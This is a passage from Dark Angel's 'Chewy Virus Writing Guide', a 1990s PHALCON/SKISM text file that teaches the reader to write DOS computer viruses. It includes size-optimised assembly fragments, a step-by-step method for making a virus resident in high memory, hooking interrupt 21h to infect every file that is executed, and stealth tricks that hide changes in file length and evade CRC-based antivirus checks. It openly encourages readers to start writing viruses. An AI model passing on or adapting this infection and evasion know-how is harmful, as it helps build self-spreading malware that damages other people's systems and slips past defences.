  1370.        Variable2 equ Variable1 + LengthOfVariable1
  1371.        Variable3 equ Variable2 + LengthOfVariable2
  1372.        Variable4 equ Variable3 + LengthOfVariable3
  1373.        
  1374.        ; Example of first method
  1375.        
  1376.        EndOfVirus:
  1377.        StartingDirectory = $
  1378.        TemporaryDTA      = StartingDirectory + 64
  1379.        FileSize          = TemporaryDTA + 42
  1380.        Flag              = FileSize + 4
  1381.        
  1382.        ; Second method
  1383.        
  1384.        EndOfVirus:
  1385.        Variable1 db LengthOfVariable1 dup (?)
  1386.        Variable2 db LengthOfVariable2 dup (?)
  1387.        Variable3 db LengthOfVariable3 dup (?)
  1388.        Variable4 db LengthOfVariable4 dup (?)
  1389.        
  1390.        ; Example of second method
  1391.        EndOfVirus:
  1392.        StartingDirectory db 64 dup (?)
  1393.        TemporaryDTA      db 42 dup (?)
  1394.        FileSize          dd ?
  1395.        Flag              db ?
  1396.        
  1397.        The two  methods differ  slightly.   By using  the first  method,  you
  1398.        create a  file which  will be  the exact  length of  the  virus  (plus
  1399.        startup  code).     However,  when  referencing  the  variables,  size
  1400.        specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
  1401.        be used  or the  assembler will  become befuddled.   Secondly,  if the
  1402.        variables need  to be  rearranged for some reason, the entire chain of
  1403.        EQUates will  be destroyed  and must  be rebuilt.   Virii  coded  with
  1404.        second method  do not need size specifications, but the resulting file
  1405.        will be  larger than  the actual size of the virus.  While this is not
  1406.        normally a  problem, depending on the reinfection check, the virus may
  1407.        infect the  original file  when run.   This  is not  a big disability,
  1408.        especially considering the advantages of this method.
  1409.        
  1410.        In any  case, the  use of  the heap  can greatly  lessen the effective
  1411.        length of the virus code and thereby make it much more efficient.  The
  1412.        only thing  to watch  out for  is infecting  large COM files where the
  1413.        heap will  "wrap around"  to offset  0 of the same segment, corrupting
  1414.        the PSP.   However,  this problem is easily avoided.  When considering
  1415.        whether a  COM file is too large to infect for this reason, simply add
  1416.        the temporary variable area size to the virus size for the purposes of
  1417.        the check.
  1418.   
  1419.   2.   Use procedures
  1420.        Procedures are  helpful in  reducing the  size of  the virus, which is
  1421.        always a  desired goal.   Only  use procedures if they save space.  To
  1422.        determine the amount of bytes saved by the use of a procedure, use the
  1423.        following formula:
  1424.        
  1425.        Let PS = the procedure size, in bytes
  1426.        bytes saved = (PS - 4) * number invocations - PS
  1427.        
  1428.        For example, the close file procedure,
  1429.        
  1430.        close_file:
  1431.          mov ah, 3eh      ; 2 bytes
  1432.          int 21h          ; 2 bytes
  1433.          ret              ; 1 byte
  1434.                           ; PS = 2+2+1 = 5
  1435.        
  1436.        is only  viable if  it is used 6 or more times, as (5-4)*6 - 5 = 1.  A
  1437.        whopping savings of one (1) byte!  Since no virus closes a file in six
  1438.        different places,  the close  file procedure  is clearly  useless  and
  1439.        should be avoided.
  1440.        
  1441.        Whenever  possible,  design  the  procedures  to  be  as  flexible  as
  1442.        possible.   This is the chief reason why Bulgarian coding is so tight.
  1443.        Just take  a look  at the source for Creeping Death.  For example, the
  1444.        move file pointer procedure:
  1445.        
  1446.        go_eof:
  1447.          mov al, 2
  1448.        move_fp:
  1449.          xor dx, dx
  1450.        go_somewhere:
  1451.          xor cx, cx
  1452.          mov ah, 42h
  1453.          int 21h
  1454.          ret
  1455.        
  1456.        The function  was build  with flexibility  in mind.   With  a CALL  to
  1457.        go_eof, the  procedure will  move the  file pointer  to the end of the
  1458.        file.   A CALL  to move_fp  with AL set to 0, the file pointer will be
  1459.        reset.   A CALL  to go_somewhere  with DX and AL set, the file pointer
  1460.        may be  moved anywhere  within the  file.   If the  function  is  used
  1461.        heavily, the savings could be enormous.
  1462.   
  1463.   3.   Use a good assembler and debugger
  1464.        The best  assembler I have encountered to date is Turbo Assembler.  It
  1465.        generates tight  code extremely  quickly.    Use  the  /m2  option  to
  1466.        eliminate all  placeholder NOPs  from the  code.   The advantages  are
  1467.        obvious - faster development and smaller code.
  1468.        
  1469.        The best  debugger is  also made  by Borland,  the king of development
  1470.        tools.   Turbo Debugger  has so many features that you might just want
  1471.        to buy  it so  you can  read the  manual!  It can bypass many debugger
  1472.        traps with ease and is ideal for testing.  Additionally, this debugger
  1473.        has 286  and 386  specific protected  mode versions, each of which are
  1474.        even more powerful than their real mode counterparts.
  1475.   
  1476.   4.   Don't use MOV instead of LEA
  1477.        When writing your first virus, you may often forget to use LEA instead
  1478.        of MOV  when loading  offsets.  This is a serious mistake and is often
  1479.        made by  beginning virus  coders.   The  harmful  effects  of  such  a
  1480.        grevious error  are immediately obvious.  If the virus is not working,
  1481.        check for  this bug.   It's  almost as hard to catch as a NULL pointer
  1482.        error in C.
  1483.   
  1484.   5.   Read the latest issues of 40Hex
  1485.        40Hex, PHALCON/SKISM's  official journal of virus techniques and news,
  1486.        is a publication not to be missed by any self-respecting virus writer.
  1487.        Each issue  contains techniques  and source code, designed to help all
  1488.        virus writers,  be they  beginners or  experts.  Virus-related news is
  1489.        also published.  Get it, read it, love it, eat it!
  1490.   
  1491.   ÄÄÄÄÄÄ
  1492.   SO NOW
  1493.   ÄÄÄÄÄÄ
  1494.   you have  all the  code and information sufficient to write a viable virus,
  1495.   as well  as a  wealth of  techniques to  use.   So stop  reading and  start
  1496.   writing!   The only  way to  get better  is through practise.  After two or
  1497.   three tries, you should be well on your way to writing good virii.
  1498.  
  1499.                                                                    \/
  1500. -@-BEGIN_FILE_ID.DIZ
  1501. dARK aNGELs cHEWY ViRUS wRiTiNG gUiDE [4-5]
  1502. -@-END_FILE_ID.DIZ
  1503.  
  1504.       //==//  //  //  /||      //      //====  //==//  //|   //
  1505.      //  //  //  //  //||     //      //      //  //  //||  //
  1506.     //==//  //==//  //=||    //      //      //  //  // || //
  1507.    //      //  //  //  ||   //      //      //  //  //  ||//
  1508.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  1509.   
  1510.      /====   // //     //  /====   /|   /|
  1511.     //      // //     //  //      //|  //|
  1512.     ===\   // //     //   ===\   //|| //||
  1513.       //  //  \\    //      //  // ||// ||
  1514.   ====/  //    \\  //   ====/  //  ||/  ||
  1515.   
  1516.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1517.   DISCLAIMER: This file is 100% guaranteed to
  1518.     exist.  The author makes no claims to the
  1519.     existence or nonexistence of the reader.
  1520.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1521.       This space intentionally left blank.
  1522.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1523.   GREETS: Welcome home, Hellraiser!  Hello to
  1524.     the rest of the PHALCON/SKISM crew: Count
  1525.     Zero, Demogorgon, Garbageheap, as well as
  1526.     everyone else I failed to mention.
  1527.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1528.   
  1529.   Dark Angel's Clumpy Virus Writing Guide
  1530.   ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
  1531.     "It's the cheesiest" - Kraft
  1532.   
  1533.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1534.   INSTALLMENT IV: RESIDENT VIRII, PART I
  1535.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1536.   
  1537.   Now that the topic of nonresident virii has been addressed, this series now
  1538.   turns to  memory resident virii.  This installment covers the theory behind
  1539.   this type  of virus,  although no  code  will  be  presented.    With  this
  1540.   knowledge in  hand, you  can boldly  write memory  resident virii confident
  1541.   that you are not fucking up too badly.
  1542.   
  1543.   ÄÄÄÄÄÄÄÄÄÄ
  1544.   INTERRUPTS
  1545.   ÄÄÄÄÄÄÄÄÄÄ
  1546.   DOS kindly  provides us  with a powerful method of enhancing itself, namely
  1547.   memory resident programs.  Memory resident programs allow for the extention
  1548.   and alteration  of the normal functioning of DOS.  To understand how memory
  1549.   resident programs  work, it  is necessary  to delve into the intricacies of
  1550.   the interrupt  table.   The interrupt table is located from memory location
  1551.   0000:0000 to  0000:0400h (or  0040:0000), just  below the  BIOS information
  1552.   area.   It consists of 256 double words, each representing a segment:offset
  1553.   pair.   When an interrupt call is issued via an INT instruction, two things
  1554.   occur, in this order:
  1555.   
  1556.     1) The flags are pushed onto the stack.
  1557.     2) A  far call  is issued  to the segment:offset located in the interrupt
  1558.        table.
  1559.   
  1560.   To return  from an  interrupt, an  iret instruction  is  used.    The  iret
  1561.   instruction reverses  the order  of the  int call.    It  performs  a  retf
  1562.   followed by  a  popf.    This  call/return  procedure  has  an  interesting
  1563.   sideeffect when  considering interrupt  handlers which return values in the
  1564.   flags register.   Such handlers must directly manipulate the flags register
  1565.   saved in the stack rather than simply directly manipulating the register.
  1566.   
  1567.   The processor  searches the  interrupt table for the location to call.  For
  1568.   example, when  an interrupt  21h is  called,  the  processor  searches  the
  1569.   interrupt table  to find  the address  of the  interrupt 21h  handler.  The
  1570.   segment of this pointer is 0000h and the offset is 21h*4, or 84h.  In other
  1571.   words, the interrupt table is simply a consecutive chain of 256 pointers to
  1572.   interrupts, ranging  from interrupt 0 to interrupt 255.  To find a specific
  1573.   interrupt handler,  load in  a double word segment:offset pair from segment
  1574.   0, offset  (interrupt number)*4.  The interrupt table is stored in standard
  1575.   Intel reverse double word format, i.e. the offset is stored first, followed
  1576.   by the segment.
  1577.   
  1578.   For a  program to  "capture" an interrupt, that is, redirect the interrupt,
  1579.   it must  change the  data in the interrupt table.  This can be accomplished
  1580.   either by  direct manipulation of the table or by a call to the appropriate
  1581.   DOS function.  If the program manipulates the table directly, it should put
  1582.   this code  between a CLI/STI pair, as issuing an interrupt by the processor
  1583.   while the  table is  half-altered could have dire consequences.  Generally,
  1584.   direct manipulation  is the  preferable alternative,  since some  primitive
  1585.   programs such  as FluShot+  trap the  interrupt 21h  call used  to set  the
  1586.   interrupt and  will warn  the user  if any  "unauthorised" programs  try to
  1587.   change the handler.
  1588.   
  1589.   An interrupt handler is a piece of code which is executed when an interrupt
  1590.   is requested.  The interrupt may either be requested by a program or may be
  1591.   requested by  the processor.   Interrupt  21h is  an example of the former,
  1592.   while interrupt 8h is an example of the latter.  The system BIOS supplies a
  1593.   portion of  the interrupt  handlers, with  DOS and other programs supplying
  1594.   the rest.   Generally, BIOS interrupts range from 0h to 1Fh, DOS interrupts
  1595.   range from 20h to 2Fh, and the rest is available for use by programs.
  1596.   
  1597.   When a  program wishes  to install  its own  code, it must consider several
  1598.   factors.  First of all, is it supplanting or overlaying existing code, that
  1599.   is to  say, is  there already an interrupt handler present?  Secondly, does
  1600.   the program  wish to preserve the functioning of the old interrupt handler?
  1601.   For example,  a program  which "hooks"  into the  BIOS clock tick interrupt
  1602.   would definitely  wish to preserve the old interrupt handler.  Ignoring the
  1603.   presence of  the old  interrupt handler  could lead  to disastrous results,
  1604.   especially if previously-loaded resident programs captured the interrupt.
  1605.   
  1606.   A technique  used in  many interrupt  handlers is  called "chaining."  With
  1607.   chaining, both  the new and the old interrupt handlers are executed.  There
  1608.   are two primary methods for chaining: preexecution and postexecution.  With
  1609.   preexecution chaining,  the old  interrupt handler is called before the new
  1610.   one.   This is  accomplished via  a pseudo-INT  call consisting  of a pushf
  1611.   followed by  a call  far ptr.   The new interrupt handler is passed control
  1612.   when the  old one  terminates.   Preexecution chaining is used when the new
  1613.   interrupt handler wishes to use the results of the old interrupt handler in
  1614.   deciding the  appropriate action  to take.   Postexecution chaining is more
  1615.   straightforward, simply  consisting of  a jmp  far ptr  instruction.   This
  1616.   method doesn't  even require  an iret  instruction to be located in the new
  1617.   interrupt handler!  When the jmp is executed, the new interrupt handler has
  1618.   completed its  actions and  control is passed to the old interrupt handler.
  1619.   This method  is used  primarily when  a program  wishes  to  intercept  the
  1620.   interrupt call before DOS or BIOS gets a chance to process it.
  1621.   
  1622.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1623.   AN INTRODUCTION TO DOS MEMORY ALLOCATION
  1624.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1625.   Memory allocation  is perhaps one of the most difficult concepts, certainly
  1626.   the hardest to implement, in DOS.  The problem lies in the lack of official
  1627.   documentation by  both Microsoft  and IBM.  Unfortunately, knowledge of the
  1628.   DOS memory manager is crucial in writing memory-resident virii.
  1629.   
  1630.   When a  program asks DOS for more memory, the operating system carves out a
  1631.   chunk of memory from the pool of unallocated memory.  Although this concept
  1632.   is simple enough to understand, it is necessary to delve deeper in order to
  1633.   have sufficient  knowledge to  write effective  memory-resident virii.  DOS
  1634.   creates memory  control blocks  (MCBs) to  help itself  keep track of these
  1635.   chunks of  memory.  MCBs are paragraph-sized areas of memory which are each
  1636.   devoted to  keeping track of one particular area of allocated memory.  When
  1637.   a program  requests memory,  one paragraph  for the  MCB  is  allocated  in
  1638.   addition to  the memory  requested by  the program.   The  MCB lies just in
  1639.   front of  the memory  it controls.   Visually,  a MCB  and its memory looks
  1640.   like:
  1641.   
  1642.   ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  1643.   ³ MCB 1 ³ Chunk o' memory controlled by MCB 1 ³
  1644.   ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  1645.   
  1646.   When a  second section  of memory is requested, another MCB is created just
  1647.   above the memory last allocated.  Visually:
  1648.   
  1649.   ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
  1650.   ³ MCB 1 ³ Chunk 1 ³ MCB 2 ³ Chunk 2 ³
  1651.   ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ
  1652.   
  1653.   In other  words, the  MCBs are  "stacked" one  on top  of the other.  It is
  1654.   wasteful to deallocate MCB 1 before MCB 2, as holes in memory develop.  The
  1655.   structure for the MCB is as follows:
  1656.   
  1657.   Offset    Size Meaning
  1658.   ÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ
  1659.   0         BYTE 'M' or 'Z'
  1660.   1         WORD Process ID (PSP of block's owner)
  1661.   3         WORD Size in paragraphs
  1662.   5      3 BYTES Reserved (Unused)
  1663.   8      8 BYTES DOS 4+ uses this.  Yay.
  1664.   
  1665.   If the  byte at  offset 0 is 'M', then the MCB is not the end of the chain.
  1666.   The 'Z'  denotes the  end of the MCB chain.  There can be more than one MCB
  1667.   chain present  in memory  at once and this "feature" is used by virii to go
  1668.   resident in high memory.  The word at offset 1 is normally equal to the PSP
  1669.   of the  MCB's owner.   If  it is  0, it means that the block is free and is
  1670.   available for  use by programs.  A value of 0008h in this field denotes DOS
  1671.   as the  owner of  the block.   The  value at  offset 3 does NOT include the
  1672.   paragraph allocated  for the  MCB.  It reflects the value passed to the DOS
  1673.   allocation functions.   All  fields located after the block size are pretty
  1674.   useless so you might as well ignore them.
  1675.   
  1676.   When a  COM file is loaded, all available memory is allocated to it by DOS.
  1677.   When an  EXE file  is loaded,  the amount  of memory  specified in  the EXE
  1678.   header is  allocated.   There is  both a  minimum and  maximum value in the
  1679.   header.    Usually,  the  linker  will  set  the  maximum  value  to  FFFFh
  1680.   paragraphs.  If the program wishes to allocate memory, it must first shrink
  1681.   the main  chunk of  memory owned  by the  program to  the minimum required.
  1682.   Otherwise, the pathetic attempt at memory allocation will fail miserably.
  1683.   
  1684.   Since programs  normally are  not supposed to manipulate MCBs directly, the
  1685.   DOS memory  manager calls  (48h -  4Ah) all return and accept values of the
  1686.   first program-usable  memory paragraph,  that is,  the paragraph  of memory
  1687.   immediately after  the MCB.   It  is important  to keep  this in  mind when
  1688.   writing MCB-manipulating code.
  1689.   
  1690.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1691.   METHODS OF GOING RESIDENT
  1692.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1693.   There are a variety of memory resident strategies.  The first is the use of
  1694.   the  traditional  DOS  interrupt  TSR  routines,  either  INT  27h  or  INT
  1695.   21h/Function 31h.   These  routines are  undesirable  when  writing  virii,
  1696.   because they  do not  return control  back to  the program after execution.
  1697.   Additionally, they  show up  on "memory  walkers" such  as PMAP and MAPMEM.
  1698.   Even a doorknob can spot such a blatant viral presence.
  1699.   
  1700.   The traditional  viral alternative  to using the standard DOS interrupt is,
  1701.   of course, writing a new residency routine.  Almost every modern virus uses
  1702.   a routine to "load high," that is, to load itself into the highest possible
  1703.   memory location.   For  example, in  a 640K  system, the  virus would  load
  1704.   itself just  under the  640K but above the area reserved by DOS for program
  1705.   use.   Although this  is technically  not the high memory area, it shall be
  1706.   referred to as such in the remainder of this file in order to add confusion
  1707.   and general  chaos into this otherwise well-behaved file.  Loading high can
  1708.   be easily accomplished through a series of interrupt calls for reallocation
  1709.   and allocation.  The general method is:
  1710.   
  1711.   1.   Find the memory size
  1712.   2.   Shrink the program's memory to the total memory size - virus size
  1713.   3.   Allocate memory for the virus (this will be in the high memory area)
  1714.   4.   Change the program's MCB to the end of the chain (Mark it with 'Z')
  1715.   5.   Copy the virus to high memory
  1716.   6.   Save the old interrupt vectors if the virus wishes to chain vectors
  1717.   7.   Set the interrupt vectors to the appropriate locations in high memory
  1718.   
  1719.   When calculating  memory sizes,  remember that all sizes are in paragraphs.
  1720.   The MCB  must also  be considered,  as it takes up one paragraph of memory.
  1721.   The advantage  of this  method is  that it  does not, as a rule, show up on
  1722.   memory walkers.  However, the total system memory as shown by such programs
  1723.   as CHKDSK will decrease.
  1724.   
  1725.   A third alternative is no allocation at all.  Some virii copy themselves to
  1726.   the memory just under 640K, but fail to allocate the memory.  This can have
  1727.   disastrous consequences, as any program loaded by DOS can possibly use this
  1728.   memory.   If it is corrupted, unpredictable results can occur.  Although no
  1729.   memory loss  is shown  by CHKDSK,  the possible  chaos resulting  from this
  1730.   method is  clearly unacceptable.   Some  virii use memory known to be free.
  1731.   For example,  the top  of the  interrupt table or parts of video memory all
  1732.   may be  used with  some assurance  that the  memory will  not be corrupted.
  1733.   Once again, this technique is undesirable as it is extremely unstable.
  1734.   
  1735.   These techniques  are by  no means  the only  methods of residency.  I have
  1736.   seen such  bizarre methods  as going  resident in  the  DOS  internal  disk
  1737.   buffers.  Where there's memory, there's a way.
  1738.   
  1739.   It is  often desirable  to know  if the  virus is  already resident.    The
  1740.   simplest method  of doing  this is  to write  a checking  function  in  the
  1741.   interrupt handler  code.   For example, a call to interrupt 21h with the ax
  1742.   register set  to 7823h  might  return  a  4323h  value  in  ax,  signifying
  1743.   residency.   When using  this check,  it is  important to  ensure  that  no
  1744.   possible conflicts  with either  other programs  or DOS  itself will occur.
  1745.   Another method,  albeit a  costly process  in terms  of both  time and code
  1746.   length, is  to check  each segment  in memory  for the  code indicating the
  1747.   presence of the virus.  This method is, of course, undesirable, since it is
  1748.   far, far  simpler to  code a  simple check  via the  interrupt handler.  By
  1749.   using any  type of  check, the  virus need  not fear  going resident twice,
  1750.   which would simply be a waste of memory.
  1751.   
  1752.   ÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1753.   WHY RESIDENT?
  1754.   ÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1755.   Memory resident virii have several distinct advantages over runtime virii.
  1756.      o Size
  1757.        Memory resident virii are often smaller than their runtime brethern as
  1758.        they do not need to include code to search for files to infect.
  1759.      o Effectiveness
  1760.        They are  often more  virulent, since  even the  DIR  command  can  be
  1761.        "infected."   Generally, the standard technique is to infect each file
  1762.        that is executed while the virus is resident.
  1763.      o Speed
  1764.        Runtime virii  infect before  a file is executed.  A poorly written or
  1765.        large runtime  virus will  cause a  noticible delay  before  execution
  1766.        easily spotted  by users.   Additionally,  it causes  inordinate  disk
  1767.        activity which is detrimental to the lifespan of the virus.
  1768.      o Stealth
  1769.        The manipulation  of  interrupts  allows  for  the  implementation  of
  1770.        stealth techniques,  such as  the hiding of changes in file lengths in
  1771.        directory listings and on-the-fly disinfection.  Thus it is harder for
  1772.        the average  user to detect the virus.  Additionally, the crafty virus
  1773.        may even  hide from CRC checks, thereby obliterating yet another anti-
  1774.        virus detection technique.
  1775.   
  1776.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1777.   STRUCTURE OF THE RESIDENT VIRUS
  1778.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1779.   With the  preliminary information  out of  the way,  the discussion can now
  1780.   shift to  more virus-related,  certainly  more  interesting  topics.    The
  1781.   structure of  the memory resident virus is radically different from that of
  1782.   the runtime virus.  It simply consists of a short stub used to determine if
  1783.   the virus  is already  resident.   If it is not already in memory, the stuf
  1784.   loads it  into memory through whichever method.  Finally, the stub restores
  1785.   control to  the host  program.   The rest of the code of the resident virus
  1786.   consists of interrupt handlers where the bulk of the work is done.
  1787.   
  1788.   The stub  is the only portion of the virus which needs to have delta offset
  1789.   calculations.  The interrupt handler ideally will exist at a location which
  1790.   will not  require such  mundane fixups.   Once  loaded, there  should be no
  1791.   further use  of the  delta offset,  as the  location of  the  variables  is
  1792.   preset.   Since the resident virus code should originate at offset 0 of the
  1793.   memory block,  originate the source code at offset 0.  Do not include a jmp
  1794.   to the  virus code  in the original carrier file.  When moving the virus to
  1795.   memory, simply  move starting  from [bp+startvirus]  and the offsets should
  1796.   work out  as they  are in  the source file.  This simplifies (and shortens)
  1797.   the coding of the interrupt handlers.
  1798.   
  1799.   Several things  must be  considered in writing the interrupt handlers for a
  1800.   virus.   First, the  virus must  preserve the registers.  If the virus uses
  1801.   preexecution chaining,  it must  save the  registers after  the call to the
  1802.   original handler.   If  the virus  uses  postexecution  chaining,  it  must
  1803.   restore the original registers of the interrupt call before the call to the
  1804.   original handler.   Second, it is more difficult, though not impossible, to
  1805.   implement encryption  with memory  resident virii.   The problem is that if
  1806.   the interrupt handler is encrypted, that interrupt handler cannot be called
  1807.   before the  decryption function.  This can be a major pain in the ass.  The
  1808.   cheesy way  out is  to simply  not include encryption.  I prefer the cheesy
  1809.   way.   The noncheesy  readers out  there might  wish  to  have  the  memory
  1810.   simultaneously hold  two copies  of the virus, encrypt the unused copy, and
  1811.   use the  encrypted copy  as the  write buffer.   Of course, the virus would
  1812.   then take twice the amount of memory it would normally require.  The use of
  1813.   encryption is  a matter  of personal  choice and  cheesiness.  A sidebar to
  1814.   preservation of interrupt handlers: As noted earlier, the flags register is
  1815.   restored from  the stack.  It is important in preexecution chaining to save
  1816.   the new  flags register  onto the  stack where  the old  flags register was
  1817.   stored.
  1818.   
  1819.   Another important  factor to  consider  when  writing  interrupt  handlers,
  1820.   especially those  of BIOS  interrupts, is  DOS's lack  of reentrance.  This
  1821.   means that  DOS functions  cannot be  executed while DOS is in the midst of
  1822.   processing an  interrupt request.   This  is because  DOS sets  up the same
  1823.   stack pointer  each time it is called, and calling the second DOS interrupt
  1824.   will cause  the processing  of one  to overwrite  the stack  of the  other,
  1825.   causing  unpredictable,   but  often   terminal,  results.    This  applies
  1826.   regardless of  which DOS  interrupts are  called, but it is especially true
  1827.   for interrupt  21h, since  it is  often tempting  to use  it from within an
  1828.   interrupt handler.   Unless  it is  certain that  DOS is  not processing  a
  1829.   previous request,  do NOT  use a DOS function in the interrupt handler.  It
  1830.   is possible  to use  the "lower"  interrupt 21h  functions without  fear of
  1831.   corrupting the  stack, but  they are basically the useless ones, performing
  1832.   functions easily  handled by  BIOS calls  or direct  hardware access.  This
  1833.   entire discussion only applies to hooking non-DOS interrupts.  With hooking
  1834.   DOS interrupts  comes the  assurance that  DOS is  not executing elsewhere,
  1835.   since it  would then  be corrupting  its own  stack, which  would be a most
  1836.   unfortunate occurence indeed.
  1837.   
  1838.   The most  common interrupt to hook is, naturally, interrupt 21h.  Interrupt
  1839.   21h is called by just about every DOS program.  The usual strategy is for a
  1840.   virus to  find potential files to infect by intercepting certain DOS calls.
  1841.   The primary  functions to hook include the find first, find next, open, and
  1842.   execute commands.   By  cleverly using  pre and  postexecution chaining,  a
  1843.   virus can  easily find  the file  which was  found, opened, or executed and
  1844.   infect it.   The  trick is simply finding the appropriate method to isolate
  1845.   the filename.   Once that is done, the rest is essentially identical to the
  1846.   runtime virus.
  1847.   
  1848.   When calling  interrupts hooked by the virus from the virus interrupt code,
  1849.   make sure  that the  virus does  not trap  this particular  call,  lest  an
  1850.   infinite loop  result.  For example, if the execute function is trapped and
  1851.   the virus  wishes, for some reason, to execute a particular file using this
  1852.   function, it  should NOT  use a  simple "int  21h" to do the job.  In cases
  1853.   such as  this  where  the  problem  is  unavoidable,  simply  simulate  the
  1854.   interrupt call with a pushf/call combination.
  1855.   
  1856.   The basic  structure of the interrupt handler is quite simple.  The handler
  1857.   first screens  the registers  for either  an identification  call or  for a
  1858.   trapped function  such as  execute.   If it  is not  one of  the above, the
  1859.   handler throws control back to the original interrupt handler.  If it is an
  1860.   identification request,  the handler  simply sets the appropriate registers
  1861.   and returns  to the  calling program.   Otherwise, the virus must decide if
  1862.   the request  calls for  pre or postexecution chaining.  Regardless of which
  1863.   it uses,  the virus  must find  the filename  and use  that information  to
  1864.   infect.   The filename  may be found either through the use of registers as
  1865.   pointers or  by searching  thorugh certain  data structures,  such as FCBs.
  1866.   The infection  routine is  the same  as that of nonresident virii, with the
  1867.   exception of the guidelines outlined in the previous few paragraphs.
  1868.   
  1869.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1870.   WHAT'S TO COME
  1871.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1872.   I apologise for the somewhat cryptic sentences used in the guide, but I'm a
  1873.   programmer, not  a writer.   My  only suggestion is to read everything over
  1874.   until it  makes sense.   I  decided to  pack this  issue of  the guide with
  1875.   theory rather  than code.   In the next installment, I will present all the
  1876.   code necessary to write a memory-resident virus, along with some techniques
  1877.   which may be used.  However, all the information needed to write a resident
  1878.   virii has  been included  in this  installment; it  is merely  a matter  of
  1879.   implementation.  Have buckets o' fun!
  1880.  
  1881.  
  1882. -@-BEGIN_FILE_ID.DIZ
  1883. dARK aNGELs cHEWY ViRUS wRiTiNG gUiDE [5-5]
  1884. -@-END_FILE_ID.DIZ
  1885.  
  1886.       //==//  //  //  /||      //      //====  //==//  //|   //
  1887.      //  //  //  //  //||     //      //      //  //  //||  //
  1888.     //==//  //==//  //=||    //      //      //  //  // || //
  1889.    //      //  //  //  ||   //      //      //  //  //  ||//
  1890.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  1891.   
  1892.      /====   // //     //  /====   /|   /|
  1893.     //      // //     //  //      //|  //|
  1894.     ===\   // //     //   ===\   //|| //||
  1895.       //  //  \\    //      //  // ||// ||
  1896.   ====/  //    \\  //   ====/  //  ||/  ||
  1897.   
  1898.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1899.   DISCLAIMER: Why do I bother writing one??
  1900.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1901.   MO STUFF: Greets to all the Phalcon/Skism
  1902.     crew,especially Garbageheap,Hellraiser,
  1903.     Demogorgon,Lazarus Long,and Decimator.
  1904.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1905.   
  1906.   Dark Angel's Chewy Virus Writing Guide
  1907.   ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
  1908.     "Over 2 billion served"
  1909.   
  1910.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1911.   INSTALLMENT V: RESIDENT VIRUSES, PART II
  1912.   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1913.   
  1914.   After reading  the the  Clumpy Guide, you should have at least some idea of
  1915.   how to  code a  resident virus.  However, the somewhat vague descriptions I
  1916.   gave may  have left  you in a befuddled state.  Hopefully, this installment
  1917.   will clear the air.
  1918.   
  1919.   ÄÄÄÄÄÄÄÄÄ
  1920.   STRUCTURE
  1921.   ÄÄÄÄÄÄÄÄÄ
